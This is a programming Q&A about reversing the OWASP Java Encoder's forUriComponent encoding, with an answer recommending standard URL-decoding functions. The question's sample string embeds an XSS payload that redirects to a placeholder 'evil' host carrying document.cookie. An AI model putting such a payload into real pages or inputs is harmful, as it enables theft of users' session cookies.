4

I encoded the query string below with the forURIComponent method of the OWASP encoder.

String query = "query=hello'};
window.location = 'http://evil?'+document.cookie;va&r- b = {//]'";

String encodedQuery = Encode.forUriComponent(query);

Now I need to decode encodedQuery, and the decoded string should be exactly equal to the original query. How can I do this?

Ilmari Karonen
  • 49,047
  • 9
  • 93
  • 153
Bhushan Gunjal
  • 39
  • 1
  • 8

1 Answers1

0

I assume you're talking about the OWASP Java Encoder. As far as I can tell, it does not supply any decoding functions.

However, since the Encode.forUriComponent() method implements standard URL percent encoding, you can use any correctly implemented URL decoding function to decode it. For example in Java, according to the answers to this question, you could use java.net.URLDecoder.

In JavaScript, decodeURIComponent() should do the trick. If you need to parse a URI containing (possibly) multiple parameters, however, you may find the URL class (or URLSearchParams) more convenient to use.

Ilmari Karonen
  • 49,047
  • 9
  • 93
  • 153